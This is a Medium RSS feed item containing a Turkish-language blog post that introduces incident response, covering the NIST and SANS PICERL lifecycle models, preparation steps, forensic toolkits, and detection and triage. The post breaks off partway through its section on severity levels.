<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hifa Nur Oner | Design &amp; Tech &amp; Cybersecurity on Medium]]></title>
        <description><![CDATA[Stories by Hifa Nur Oner | Design &amp; Tech &amp; Cybersecurity on Medium]]></description>
        <link>https://medium.com/@hifaoner?source=rss-4e8ed61e3c70------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*3ds9hxD_W57zLIEEPtWXJw.jpeg</url>
            <title>Stories by Hifa Nur Oner | Design &amp;amp; Tech &amp;amp; Cybersecurity on Medium</title>
            <link>https://medium.com/@hifaoner?source=rss-4e8ed61e3c70------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 18:31:04 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hifaoner/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[3 — Olay Müdahale (Incident Response) Nedir?]]></title>
            <link>https://medium.com/@hifaoner/3-olay-m%C3%BCdahale-incident-response-nedir-28d075c4f346?source=rss-4e8ed61e3c70------2</link>
            <guid isPermaLink="false">https://medium.com/p/28d075c4f346</guid>
            <category><![CDATA[cyber]]></category>
            <category><![CDATA[cybercrime]]></category>
            <category><![CDATA[siber-guvenlik]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cyberattack]]></category>
            <dc:creator><![CDATA[Hifa Nur Oner | Design & Tech & Cybersecurity]]></dc:creator>
            <pubDate>Wed, 18 Nov 2026 08:39:45 GMT</pubDate>
            <atom:updated>2026-11-18T08:39:45.419Z</atom:updated>
            <content:encoded><![CDATA[<p>Siber güvenlikte güçlü savunma sistemleri kullanmak, saldırı ihtimalini tamamen ortadan kaldırmaz. Bu nedenle kurumların yalnızca saldırıları önlemeye değil, gerçekleşen güvenlik olaylarına nasıl müdahale edeceklerine de hazırlıklı olmaları gerekir.</p><p>İşte bu noktada <strong>Olay Müdahale (Incident Response — IR)</strong> devreye girer.</p><h3>Olay Müdahale Nedir?</h3><p>Olay Müdahale, bir kurumun karşılaştığı siber güvenlik olaylarını tespit etme, analiz etme, kontrol altına alma ve sonuçlarını yönetme sürecidir.</p><p>Temel amacı, saldırının neden olduğu zararı en aza indirmek, sistemlerin normale dönme süresini kısaltmak ve oluşabilecek maliyetleri azaltmaktır.</p><p>İyi planlanmış bir olay müdahale süreci dört önemli avantaj sağlar:</p><ul><li><strong>Hızlı Müdahale:</strong> Güvenlik olayının erken fark edilerek gerekli önlemlerin alınması.</li><li><strong>Düzenli Yaklaşım:</strong> Panik yerine önceden hazırlanmış müdahale prosedürlerinin uygulanması.</li><li><strong>Veri Bütünlüğü:</strong> Dijital delillerin (Evidence) uygun şekilde toplanması ve korunması.</li><li><strong>Sürekli İyileştirme:</strong> Yaşanan olaylardan ders çıkarılarak güvenlik önlemlerinin geliştirilmesi.</li></ul><h3>1. Event ve Incident Arasındaki Fark</h3><p>Siber güvenlikte <strong>Event (Olay)</strong> ve <strong>Incident (Güvenlik Vakası)</strong> kavramları sıklıkla karıştırılır.</p><p><strong>Event (Olay):</strong> Bir sistemde veya ağda meydana gelen, gözlemlenebilir herhangi bir durumdur.</p><p>Örneğin bir kullanıcının sisteme giriş yapması, sunucunun yeniden başlatılması veya bir web sitesine istek gönderilmesi birer event’tir.</p><p><strong>Incident (Güvenlik Vakası):</strong> Güvenlik politikasını ihlal eden veya güvenlik riski oluşturan olaydır.</p><p>Örneğin bir sisteme yetkisiz erişim sağlanması, fidye yazılımı (Ransomware) bulaşması veya DDoS saldırısı yaşanması birer güvenlik vakasıdır.</p><p><strong>Buradaki temel fark:</strong> <strong>Her incident bir event’tir ancak her event bir incident değildir.</strong></p><p>Bir kullanıcının hesabına giriş yapması normal bir olay olabilir. Ancak aynı hesaba yetkisiz bir kişinin erişmesi güvenlik vakası olarak değerlendirilir.</p><h3>2. CSIRT, CERT ve SOC Nedir?</h3><p>Siber güvenlik olaylarının izlenmesi ve yönetilmesinde farklı ekipler görev alır.</p><p><strong>CSIRT (Computer Security Incident Response Team — Bilgisayar Güvenliği Olaylarına Müdahale Ekibi)</strong></p><p>Güvenlik olaylarını analiz eden, olaylara müdahale eden ve süreç sonunda raporlama yapan ekiptir.</p><p><strong>CERT (Computer Emergency Response Team — Bilgisayar Acil Durum Müdahale Ekibi)</strong></p><p>CSIRT ile benzer görevler üstlenir. Bazı durumlarda ülke veya sektör genelinde güvenlik olaylarının koordinasyonunu sağlayan ekipleri ifade eder.</p><p><strong>SOC (Security Operations Center — Güvenlik Operasyon Merkezi)</strong></p><p>Sistemleri ve ağları sürekli izleyen, güvenlik alarmlarını değerlendiren merkezdir.</p><p>SOC analistleri şüpheli faaliyetleri inceleyerek ilk değerlendirmeyi yapar. Daha kapsamlı müdahale gerektiren olaylar ilgili uzman ekiplere yönlendirilebilir.</p><p>Bu yönlendirme işlemine <strong>Escalation (Üst Seviyeye Aktarma)</strong> denir.</p><p><em>Örneğin SOC analisti bir sunucuda şüpheli faaliyet tespit edebilir. Olayın kapsamlı inceleme gerektirdiği anlaşılırsa durum CSIRT ekibine aktarılabilir.</em></p><h3>Olay Müdahale Neden Gereklidir?</h3><p>Önceden hazırlanmış bir olay müdahale planı bulunmadığında kurumlar saldırı sırasında çeşitli sorunlarla karşılaşabilir.</p><p><strong>Panik ve Kaos:</strong> Hangi ekibin hangi işlemi gerçekleştireceğinin bilinmemesi müdahaleyi zorlaştırır.</p><p><strong>Delil Kaybı:</strong> Sistemlerin yanlış şekilde kapatılması veya güvenlik kayıtlarının silinmesi, saldırının nasıl gerçekleştiğinin anlaşılmasını engelleyebilir.</p><p><strong>Müdahalenin Gecikmesi:</strong> Saldırganın sistem içerisinde fark edilmeden uzun süre kalmasına neden olabilir.</p><p>Bu süre <strong>Dwell Time (Saldırganın Sistemde Kalma Süresi)</strong> olarak adlandırılır.</p><p><strong>İtibar Kaybı:</strong> Güvenlik ihlalinin yanlış yönetilmesi veya geç bildirilmesi kurumun güvenilirliğini olumsuz etkileyebilir.</p><h3>Olay Müdahale Yaşam Döngüsü</h3><p>Olay müdahale tek seferlik bir işlem değil, sürekli gelişen bir süreçtir.</p><p>Bu süreçte yaygın olarak <strong>NIST</strong> ve <strong>SANS</strong> tarafından geliştirilen yaklaşımlar kullanılır.</p><p>Eğitim kapsamında olay müdahale yaşam döngüsü şu aşamalar üzerinden ele alınmaktadır:</p><ol><li><strong>Preparation (Hazırlık)</strong></li><li><strong>Detection and Analysis (Tespit ve Analiz)</strong></li><li><strong>Containment (Sınırlama)</strong></li><li><strong>Eradication (Etkisiz Hale Getirme)</strong></li><li><strong>Recovery (Kurtarma)</strong></li><li><strong>Post-Incident Activities (Olay Sonrası Aktiviteler)</strong></li></ol><p>Olay müdahale döngüsünün önemli özelliği, bir güvenlik vakasının çözülmesiyle tamamen sona ermemesidir.</p><p>Müdahale sonrasında elde edilen bilgiler değerlendirilir ve gelecekte benzer olayların daha etkili yönetilebilmesi için hazırlık süreçleri geliştirilir.</p><h3>Olay Müdahale Frameworkleri</h3><p>Siber güvenlik olaylarına müdahale süreçlerini standartlaştırmak için kullanılan iki önemli model <strong>NIST</strong> ve <strong>SANS</strong> tarafından geliştirilmiştir.</p><p>Bu modeller, güvenlik olaylarının hangi aşamalardan geçerek yönetileceğini açıklar. Temel yaklaşımları benzer olsa da aşamaların isimlendirilmesi ve gruplandırılması bakımından farklılık gösterirler.</p><p><strong><em>Framework (Çerçeve):</em></strong><em> Belirli bir sürecin sistemli şekilde yürütülmesini sağlayan yöntem ve kurallar bütünüdür.</em></p><h3>1. NIST SP 800–61 Rev. 2 Modeli</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sK7SmIszddgpu-eLz8tFbw.png" /></figure><p><strong>NIST (National Institute of Standards and Technology — Ulusal Standartlar ve Teknoloji Enstitüsü)</strong>, olay müdahale süreçleri için rehberler yayımlayan bir ABD kurumudur.</p><p>NIST SP 800–61 Rev. 2 dokümanında olay müdahale süreci <strong>dört ana aşamada ele alınır.</strong></p><p><strong>1. Preparation (Hazırlık)</strong></p><p>Güvenlik olayı gerçekleşmeden önce ekiplerin, araçların ve müdahale prosedürlerinin hazırlanmasıdır.</p><p><strong>2. Detection &amp; Analysis (Tespit ve Analiz)</strong></p><p>Şüpheli faaliyetlerin tespit edilmesi, olayın gerçek bir güvenlik vakası olup olmadığının doğrulanması ve kapsamının incelenmesidir.</p><p><strong>3. Containment, Eradication &amp; Recovery (Sınırlama, Etkisiz Hale Getirme ve Kurtarma)</strong></p><p>Saldırının yayılmasının engellenmesi, zararlı unsurların sistemden temizlenmesi ve sistemlerin yeniden normal çalışmasına döndürülmesidir.</p><p>NIST bu üç işlemi aynı aşamada gruplandırır. Çünkü olay müdahalesi sırasında bu faaliyetler birbiriyle bağlantılı şekilde yürütülebilir.</p><p><strong>4. Post-Incident Activity (Olay Sonrası Aktiviteler)</strong></p><p>Olayın değerlendirilmesi, raporlanması ve benzer saldırıların tekrar yaşanmaması için gerekli iyileştirmelerin yapılmasıdır.</p><h3>2. SANS PICERL Modeli</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4nK8s8FYuJHv1Fg4ZOQOLA.png" /></figure><p><strong>SANS (SysAdmin, Audit, Network and Security) Enstitüsü</strong>, <strong>siber güvenlik eğitimleri ve araştırmalarıyla bilinen bir kuruluştur.</strong></p><p>SANS PICERL modeli, olay müdahale sürecini <strong>altı ayrı aşamada inceler.</strong></p><p><strong>PICERL</strong>, bu altı aşamanın İngilizce isimlerinin baş harflerinden oluşur.</p><p><strong>1. Preparation (Hazırlık)</strong></p><p>Güvenlik olaylarına karşı gerekli ekiplerin, araçların ve müdahale planlarının hazırlanmasıdır.</p><p><strong>2. Identification (Tanımlama / Tespit)</strong></p><p>Şüpheli faaliyetlerin incelenmesi, güvenlik olayının doğrulanması ve etkilenen sistemlerin belirlenmesidir.</p><p><strong>3. Containment (Sınırlama)</strong></p><p>Saldırının daha fazla sisteme yayılmasının engellenmesidir.</p><p>Örneğin zararlı yazılım bulaşmış bir bilgisayarın ağdan izole edilmesi.</p><p><strong>4. Eradication (Etkisiz Hale Getirme)</strong></p><p>Saldırıya neden olan zararlı yazılımların ve güvenlik açıklarının ortadan kaldırılmasıdır.</p><p>Örneğin zararlı yazılımın silinmesi ve ilgili güvenlik açığının yamalanması.</p><p><strong>Root Cause (Kök Neden):</strong> Güvenlik olayının gerçekleşmesine yol açan temel sorundur.</p><p><strong>5. Recovery (Kurtarma)</strong></p><p>Etkilenen sistemlerin güvenli şekilde normal çalışmalarına döndürülmesi ve yeniden saldırıya uğramadıklarının izlenmesidir.</p><p><strong>6. Lessons Learned (Ders Çıkarma)</strong></p><p>Olay müdahale sürecinin değerlendirilmesidir.</p><p>Bu aşamada hangi önlemlerin işe yaradığı, hangi hataların yapıldığı ve gelecekte nelerin geliştirilmesi gerektiği incelenir.</p><h3>NIST ve SANS Arasındaki Fark</h3><p>İki model de aynı temel olay müdahale faaliyetlerini kapsar.</p><p><strong>NIST SP 800–61 Rev. 2</strong>, süreci dört ana aşamada ele alırken <strong>SANS PICERL</strong>, bu faaliyetleri altı ayrı aşamaya böler.</p><p>Özellikle SANS modelinde Sınırlama (Containment), Etkisiz Hale Getirme (Eradication) ve Kurtarma (Recovery) birbirinden ayrı aşamalardır.</p><p>NIST Rev. 2 modelinde ise bu üç faaliyet tek bir ana aşama altında gruplandırılmıştır.</p><p>SANS modeli, adımların ayrı ele alınması sayesinde operasyonel müdahale planlarında (Playbook) kullanılabilir. NIST standartları ise kurumsal süreçlerin değerlendirilmesi, raporlama ve uyumluluk çalışmalarında referans alınabilir.</p><p><strong><em>Playbook (Müdahale Rehberi):</em></strong><em> Belirli bir güvenlik olayı karşısında hangi işlemlerin, hangi sırayla ve kimler tarafından yapılacağını açıklayan rehberdir.</em></p><p><strong><em>Compliance (Uyumluluk):</em></strong><em> Kurumun belirli standartlara, politikalara veya yasal gerekliliklere uygun hareket etmesidir.</em></p><h3>The Golden Hour (Altın Saat) Kavramı</h3><p>Olay müdahale sürecinde zaman kritik öneme sahiptir.</p><p><strong>Golden Hour (Altın Saat)</strong>, bir saldırının tespit edilmesinden sonraki ilk saatlerin müdahale açısından taşıdığı önemi ifade eder.</p><p>Bu süreçte saldırgan, faaliyetlerini gizlemek için sistem kayıtlarını (Log) silebilir veya başka sistemlere geçmeye çalışabilir.</p><p>Saldırganın ele geçirdiği bir sistemden aynı ağ üzerindeki diğer sistemlere ilerlemesine <strong>Lateral Movement (Yanal Hareket)</strong> denir.</p><p>Bu nedenle güvenlik ekiplerinin hızlı ve planlı hareket etmesi önemlidir.</p><p>Önceden hazırlanmış bir olay müdahale framework’ü, analistlerin saldırı sırasında hangi adımları uygulayacaklarını belirlemelerine yardımcı olur.</p><p><strong>Sonuç olarak:</strong> NIST ve SANS modellerinin temel amacı, güvenlik olaylarının rastgele değil, planlı ve sistematik şekilde yönetilmesini sağlamaktır.</p><h3>1. Aşama — Hazırlık (Preparation)</h3><p>Hazırlık, olay müdahale sürecinin ilk aşamasıdır. Amaç, bir güvenlik olayı gerçekleşmeden önce gerekli ekipleri, prosedürleri, araçları ve verileri hazır bulundurmaktır.</p><p>Hazırlık aşaması iki temel kategoriye ayrılır:</p><ol><li><strong>People &amp; Process (İnsanlar ve Süreçler):</strong> Ekip organizasyonu, politikalar ve eğitimler.</li><li><strong>Technology &amp; Data (Teknoloji ve Veri):</strong> Güvenlik araçları, loglama ve sistemlerin normal davranışlarının belirlenmesi.</li></ol><h3>A. İnsanlar ve Süreçler (People &amp; Process)</h3><p><strong>1. Ekip Yapısı ve İletişim</strong></p><p>Bir güvenlik olayı gerçekleştiğinde kimin sorumlu olduğu ve kimlerle iletişime geçileceği önceden belirlenmelidir.</p><p>Bunun için <strong>Call Tree (İletişim Zinciri)</strong> hazırlanır.</p><ul><li><strong>Primary Contact (Birincil İletişim Kişisi):</strong> Olayın teknik yönetiminden sorumlu kişi.</li><li><strong>Escalation (Üst Seviyeye Aktarma):</strong> Olayın büyümesi durumunda yöneticilere veya ilgili uzman ekiplere bildirilmesi.</li><li><strong>CISO (Chief Information Security Officer):</strong> Bilgi güvenliğinden sorumlu üst düzey yönetici.</li><li><strong>CTO (Chief Technology Officer):</strong> Teknolojiden sorumlu üst düzey yönetici.</li><li><strong>Legal &amp; PR (Hukuk ve Halkla İlişkiler):</strong> Olayın hukuki süreçlerini ve kurumun iletişimini yöneten birimler.</li></ul><p><strong>2. Politikalar ve Prosedürler</strong></p><p>Kurumun yazılı bir <strong>Incident Response Policy (Olay Müdahale Politikası)</strong> bulunmalıdır.</p><p>Bu politika, hangi durumların güvenlik vakası kabul edileceğini, müdahaleden kimlerin sorumlu olduğunu ve hangi işlemleri gerçekleştirebileceklerini belirler.</p><p>Örneğin saldırıya uğramış bir sunucunun ağ bağlantısını kesme veya sistemi kapatma yetkisinin kimde olduğu önceden tanımlanmalıdır.</p><p><strong>3. Eğitim ve Simülasyonlar</strong></p><p>Güvenlik ekipleri, gerçek saldırılar gerçekleşmeden önce olası olay senaryoları üzerinde çalışmalıdır.</p><p>Bu çalışmalara <strong>Tabletop Exercises (Masa Başı Tatbikatları)</strong> denir.</p><h3>B. Teknoloji ve Veri (Technology &amp; Data)</h3><p>Teknik hazırlığın amacı, saldırı gerçekleştiğinde güvenlik analistlerinin sistemde neler yaşandığını inceleyebilmesini sağlamaktır.</p><p>Bunun için logların toplanması, normal sistem davranışlarının belirlenmesi ve gerekli analiz araçlarının hazır bulundurulması gerekir.</p><h4><strong>1. Log Yönetimi ve Görünürlük (Visibility)</strong></h4><p><strong>Log</strong>, sistemlerde gerçekleşen işlemlerin kaydıdır.</p><p><strong>Visibility (Görünürlük)</strong> ise güvenlik ekibinin sistemlerde ve ağda gerçekleşen faaliyetleri gözlemleyebilmesini ifade eder.</p><p>Güvenlik olaylarının analiz edilebilmesi için farklı kaynaklardan elde edilen loglar merkezi bir sistemde toplanmalıdır.</p><p>Bu amaçla <strong>SIEM (Security Information and Event Management — Güvenlik Bilgi ve Olay Yönetimi)</strong> sistemleri kullanılabilir.</p><p>Toplanması gereken başlıca log türleri şunlardır:</p><ul><li><strong>Endpoint Logs (Uç Nokta Kayıtları):</strong> Bilgisayar ve sunucuların işletim sistemi kayıtlarıdır. Windows Event Log ve Sysmon bu kapsamda kullanılabilir.</li><li><strong>Network Logs (Ağ Kayıtları):</strong> Firewall, Proxy ve DNS gibi ağ bileşenlerinden elde edilen kayıtlardır.</li><li><strong>Application Logs (Uygulama Kayıtları):</strong> IIS, Nginx ve Apache gibi web sunucularının erişim ve hata kayıtlarıdır.</li></ul><p><strong>Sysmon (System Monitor)</strong>, Windows sistemlerinde gerçekleşen çeşitli faaliyetler hakkında ayrıntılı kayıtlar oluşturabilen bir araçtır.</p><p><strong>Script Block Logging</strong> ise PowerShell üzerinde çalıştırılan betiklerin içeriğinin kayıt altına alınmasına yardımcı olan bir özelliktir.</p><p>Örneğin bir saldırgan PowerShell üzerinden şüpheli komutlar çalıştırmışsa, uygun loglama ayarları bu faaliyetlerin incelenmesini sağlayabilir.</p><h4><strong>2. Baseline (Referans Noktası) Oluşturma</strong></h4><p><strong>Baseline</strong>, bir sistemin normal çalışma davranışlarının önceden belirlenmesidir.</p><p>Bir davranışın anormal olup olmadığını anlamak için önce normal davranışın bilinmesi gerekir.</p><p>Örneğin bir muhasebe sunucusunun normalde yalnızca 08.00–18.00 saatleri arasında ağ trafiği oluşturduğunu düşünelim.</p><p>Aynı sunucu gece 03.00&#39;te dışarıya 5 GB veri gönderirse bu durum şüpheli olabilir.</p><p>Normal davranışlardan farklılık gösteren bu tür durumlara <strong>Anomaly (Anomali)</strong> denir.</p><p>Baseline oluşturulurken ağ trafiği, günlük veri aktarım miktarı, bağlantı kurulan ülkeler ve çalışan servis hesapları gibi bilgiler değerlendirilebilir.</p><p><strong>Service Account (Servis Hesabı)</strong>, uygulamaların veya sistem hizmetlerinin belirli işlemleri gerçekleştirmek için kullandığı hesaptır.</p><h4><strong>3. Kritik Varlıkların Belirlenmesi (Asset Management)</strong></h4><p><strong>Asset Management (Varlık Yönetimi)</strong>, kurumun sahip olduğu sistemlerin, verilerin ve diğer önemli teknolojik varlıkların belirlenmesi ve yönetilmesidir.</p><p>Her sistem aynı öneme sahip olmayabilir. Bu nedenle güvenlik olayı sırasında öncelikle korunması ve kurtarılması gereken kritik varlıklar belirlenmelidir.</p><p>Bu varlıklar bazen <strong>Crown Jewels (En Değerli Varlıklar)</strong> olarak adlandırılır.</p><p>Örnekler:</p><ul><li>Müşteri veritabanları</li><li>Kaynak kod depoları</li><li>Active Directory sunucuları</li></ul><p><strong>Active Directory (AD)</strong>, Windows tabanlı kurumsal ortamlarda kullanıcıların, bilgisayarların ve erişim yetkilerinin merkezi olarak yönetilmesini sağlayan dizin hizmetidir.</p><p><strong>4. Gerekli Araçların Hazırlanması (Incident Response Toolkit)</strong></p><p>Olay müdahalesi sırasında internet erişimi kesilebilir veya saldırıdan etkilenen sistemlere güvenilemeyebilir.</p><p>Bu nedenle güvenlik ekiplerinin önceden hazırlanmış bir <strong>Incident Response Toolkit (Olay Müdahale Araç Seti)</strong> bulundurması gerekir.</p><p>Bu araç setinde şunlar yer alabilir:</p><ul><li><strong>Clean Laptop (Temiz Bilgisayar):</strong> Güvenilir analiz ve iletişim işlemleri için kullanılan temiz, gerektiğinde izole edilebilen bilgisayar.</li><li><strong>Bootable USB (Önyüklenebilir USB):</strong> Bilgisayarı farklı bir ortamdan başlatmak veya adli analiz işlemleri gerçekleştirmek için kullanılabilen USB.</li><li><strong>Forensics Tools (Dijital Adli Analiz Araçları):</strong> Dijital delillerin toplanması ve incelenmesi için kullanılan yazılımlar.</li><li><strong>Offline Backup (Çevrimdışı Yedek):</strong> Normal ağ bağlantısından ayrı tutulan yedekler.</li></ul><p>Dijital adli analizde kullanılabilecek araçlara <strong>FTK Imager, KAPE, Volatility ve Eric Zimmerman Tools</strong> örnek verilebilir.</p><p>2. Peki FTK Imager, KAPE ve Volatility nedir?</p><p>Bunların hepsi dijital adli analizde kullanılan araçlar ama farklı görevleri var.</p><p><strong>FTK Imager : </strong>Disklerin veya belirli dosyaların adli inceleme için kopyalarını (imajlarını) oluşturabilen araçtır.</p><p>Örneğin saldırıya uğramış bir bilgisayarın diskini incelemek için adli kopyasını alabilirsin.</p><p><strong>KAPE (Kroll Artifact Parser and Extractor) :</strong> Bilgisayardaki inceleme açısından önemli dosyaları ve sistem izlerini hızlıca toplamak ve işlemek için kullanılır.</p><p>Örneğin saldırıdan sonra bilgisayarda geride kalan faaliyet izlerini toplamada yardımcı olur.</p><p><strong>Volatility :</strong> Bilgisayarın RAM belleğinin alınmış görüntüsünü analiz etmek için kullanılan araçtır.</p><p>Örneğin saldırı sırasında bellekte çalışan şüpheli işlemlerin izlerini araştırabilir.</p><h4>Eric Zimmerman Tools</h4><p>Windows sistemlerinde bırakılan dijital izleri incelemek için geliştirilmiş araçlar bütünüdür. Örneğin geçmişte çalıştırılmış programlara veya kullanıcı faaliyetlerine ilişkin kayıtların incelenmesine yardımcı olur.</p><p>Ayrıca CAINE ve SIFT Workstation gibi adli analiz ortamları da kullanılabilir.</p><p>Bunlar tek bir analiz aracından ziyade, içerisinde birden fazla adli analiz aracı bulunan hazır çalışma ortamlarıdır.</p><ul><li>CAINE (Computer Aided INvestigative Environment): Dijital adli inceleme amacıyla hazırlanmış <strong>Linux tabanlı bir ortamdır.</strong></li><li>SIFT Workstation (SANS Investigative Forensic Toolkit): SANS tarafından sunulan, dijital adli analiz ve olay müdahalesi çalışmalarında kullanılan araçların bulunduğu çalışma ortamıdır.</li></ul><p>Yani FTK Imager gibi araçlar belirli görevleri yaparken CAINE ve SIFT, farklı analiz araçlarını bir araya getiren ortamlar sunar.</p><p>Buradaki temel amaç, güvenlik olayı gerçekleştiğinde gerekli araçların eksik olmamasıdır.</p><h3>Hazırlık Aşaması Kontrol Listesi</h3><p>Bir kurumun olay müdahalesine hazır olup olmadığını değerlendirmek için şu sorular sorulabilir:</p><ul><li>Yazılı bir olay müdahale planı bulunuyor mu?</li><li>İletişim listesi güncel mi?</li><li>Kritik sistemlerin logları SIEM veya merkezi log sunucusuna aktarılıyor mu?</li><li>Önemli sistemlerin yedekleri alınıyor ve geri yükleme testleri yapılıyor mu?</li><li>Güvenlik ekibi gerekli dijital adli analiz araçlarına sahip mi ve bunları kullanabiliyor mu?</li></ul><h3>2. Aşama — Tespit ve Analiz (Detection &amp; Analysis)</h3><p>Tespit ve Analiz, olay müdahale sürecinin en teknik aşamalarından biridir.</p><p><strong>Detection (Tespit)</strong>, sistemlerde meydana gelen şüpheli faaliyetlerin fark edilmesidir.</p><p><strong>Analysis (Analiz)</strong> ise tespit edilen faaliyetlerin araştırılması ve bir güvenlik ihlali olup olmadığının belirlenmesidir.</p><p>Örneğin bir güvenlik sistemi, sunucuya kısa sürede çok sayıda başarısız giriş denemesi yapıldığını bildirebilir. Ancak bu bildirimin gerçek bir saldırı olup olmadığını anlamak için kayıtların incelenmesi gerekir.</p><p>Bu nedenle tespit ve analiz birbirini tamamlayan iki faaliyettir.</p><h3>1. Tespit Kaynakları</h3><p>Güvenlik olayları otomatik sistemler veya manuel incelemeler sonucunda tespit edilebilir.</p><p><strong>A. Otomatik Tespitler (Alerts)</strong></p><p><strong>Alert (Alarm/Uyarı)</strong>, güvenlik sistemlerinin şüpheli bir faaliyet karşısında oluşturduğu bildirimdir.</p><ul><li><strong>SIEM (Security Information and Event Management):</strong> Farklı sistemlerden gelen logları toplar, analiz eder ve belirlenen kurallara göre alarm üretebilir.</li><li><strong>EDR (Endpoint Detection and Response):</strong> Bilgisayar ve sunuculardaki şüpheli işlemleri izlemeye, tespit etmeye ve bunlara müdahale etmeye yardımcı olur.</li><li><strong>IDS/IPS (Intrusion Detection/Prevention System):</strong> Ağ trafiğindeki saldırı girişimlerini tespit eden ve bazı durumlarda engelleyen sistemlerdir.</li><li><strong>Antivirüs:</strong> Bilinen zararlı yazılımların tespit edilmesine ve engellenmesine yardımcı olur.</li></ul><p><strong>Correlation Rules (Korelasyon Kuralları)</strong>, farklı güvenlik kayıtları arasında ilişki kurarak şüpheli faaliyetleri belirlemek için kullanılan kurallardır.</p><p>Örneğin aynı IP adresinden bir dakika içerisinde 10 başarısız giriş denemesi gerçekleşmesi SIEM üzerinde bir alarm oluşturabilir.</p><p><strong>B. Manuel Tespitler ve Bildirimler</strong></p><p>Her güvenlik olayı otomatik sistemler tarafından tespit edilmeyebilir.</p><ul><li><strong>Kullanıcı Bildirimleri:</strong> Bilgisayarın aniden yavaşlaması, beklenmedik pencerelerin açılması veya farenin kendiliğinden hareket etmesi gibi şüpheli durumların bildirilmesi.</li><li><strong>Threat Hunting (Tehdit Avcılığı):</strong> Analistlerin sistemlerde otomatik alarm oluşmasını beklemeden şüpheli faaliyetleri araştırması.</li><li><strong>Üçüncü Taraf Bildirimleri:</strong> İnternet servis sağlayıcıları (ISP) veya CERT ekipleri tarafından yapılan güvenlik uyarıları.</li></ul><p>Örneğin bir internet servis sağlayıcısının, kurumun IP adresinden botnet trafiği geldiğini bildirmesi manuel inceleme sürecini başlatabilir.</p><h3>2. Tespit Yöntemleri: İmza ve Anomali</h3><p>Güvenlik sistemleri tehditleri tespit etmek için farklı yöntemlerden yararlanır.</p><h4><strong>A. Signature-Based Detection (İmza Tabanlı Tespit)</strong></h4><p>Bilinen tehditlere ait tanımlayıcı özelliklerin aranmasıdır.</p><p><strong><em>Signature (İmza)</em></strong><em>, bir tehdit veya zararlı yazılımın tanınmasına yardımcı olan belirli özellikleri ifade eder.</em></p><p>Örneğin bir dosyanın hash değerinin bilinen zararlı yazılımlara ait hash değerleriyle karşılaştırılması.</p><p><strong>Hash</strong>, dosyanın içeriğinden hesaplanan ve dosyanın tanınmasına yardımcı olan değerdir. MD5 ve SHA-256 bu amaçla kullanılabilen algoritmalardır.</p><p><strong>VirusTotal</strong>, dosyaların ve çeşitli göstergelerin güvenlik araçlarıyla incelenmesine yardımcı olan bir platformdur.</p><p>İmza tabanlı tespit, bilinen tehditlerde etkili olabilir. Ancak daha önce tanımlanmamış saldırıları veya değiştirilmiş zararlı yazılımları kaçırabilir.</p><p><strong>Zero-Day (Sıfırıncı Gün Açığı):</strong> Henüz bilinen bir düzeltmesi bulunmayan veya savunmacıların hazırlanmak için yeterli zamanı olmadığı güvenlik açıklarıyla ilişkili kavramdır.</p><p><strong>Polymorphic Malware (Polimorfik Zararlı Yazılım):</strong> Tespit edilmesini zorlaştırmak için görünümünü veya kod yapısını değiştirebilen zararlı yazılımdır.</p><h4><strong>B. Anomaly/Behavior-Based Detection (Anomali/Davranış Tabanlı Tespit)</strong></h4><p>Bilinen zararlı dosyaları aramak yerine sistemde gerçekleşen olağandışı davranışları inceler.</p><p>Örneğin Microsoft Word uygulamasının (winword.exe) PowerShell (powershell.exe) çalıştırması şüpheli bir faaliyet olabilir.</p><p>Bu işlem teknik olarak mümkün olsa da normal kullanıcı faaliyetlerinden farklı olduğu için araştırılması gerekebilir.</p><p>Anomali tabanlı tespit, bilinmeyen saldırıların fark edilmesine yardımcı olabilir. Ancak normal faaliyetleri de zaman zaman tehdit olarak değerlendirebilir.</p><h3>3. Olayın Doğrulanması ve Sınıflandırılması (Triage)</h3><p>Bir güvenlik alarmının oluşması, mutlaka gerçek bir saldırı gerçekleştiği anlamına gelmez.</p><p><strong>Triage (Ön Değerlendirme ve Önceliklendirme)</strong>, alarmların incelenerek gerçekliğinin, kapsamının ve önem derecesinin belirlenmesidir.</p><p>Bu süreçte üç temel soru sorulur:</p><p><strong>1. Is It Real? (Gerçek mi?)</strong></p><p>Alarm gerçek bir güvenlik tehdidini mi gösteriyor?</p><ul><li><strong>False Positive (Yanlış Pozitif):</strong> Güvenlik sistemi alarm üretmiştir ancak gerçek bir tehdit bulunmamaktadır.</li><li><strong>True Positive (Doğru Pozitif):</strong> Güvenlik sistemi gerçek bir tehdidi doğru şekilde tespit etmiştir.</li></ul><p>Örneğin Nessus veya OpenVAS ile gerçekleştirilen yetkili bir güvenlik taraması, IDS üzerinde çok sayıda port tarama alarmı oluşturabilir. Bu durum saldırı zannedilirse yanlış pozitif olarak değerlendirilir.</p><p>Buna karşılık gerçek bir SQL Injection saldırısının güvenlik sistemi tarafından tespit edilmesi doğru pozitiftir.</p><p><strong>2. Scope (Kapsam)</strong></p><p>Olayın kaç sistemi etkilediği araştırılır.</p><p>Örneğin saldırı yalnızca bir bilgisayarı mı etkiledi, yoksa kurumun sunucularına da yayıldı mı?</p><p><strong>3. Impact (Etki)</strong></p><p>Olayın kurum üzerindeki etkisi değerlendirilir.</p><p>Bu değerlendirmede bilgi güvenliğinin üç temel unsuru dikkate alınır:</p><ul><li><strong>Confidentiality (Gizlilik):</strong> Bilgilere yetkisiz erişim olup olmadığı.</li><li><strong>Integrity (Bütünlük):</strong> Verilerin izinsiz değiştirilip değiştirilmediği.</li><li><strong>Availability (Erişilebilirlik):</strong> Sistemlerin ve verilere erişimin kesintiye uğrayıp uğramadığı.</li></ul><h3>4. Olay Şiddet Seviyeleri (Severity Levels)</h3><p>Güvenlik olayları, oluşturdukları risk ve etkiye göre 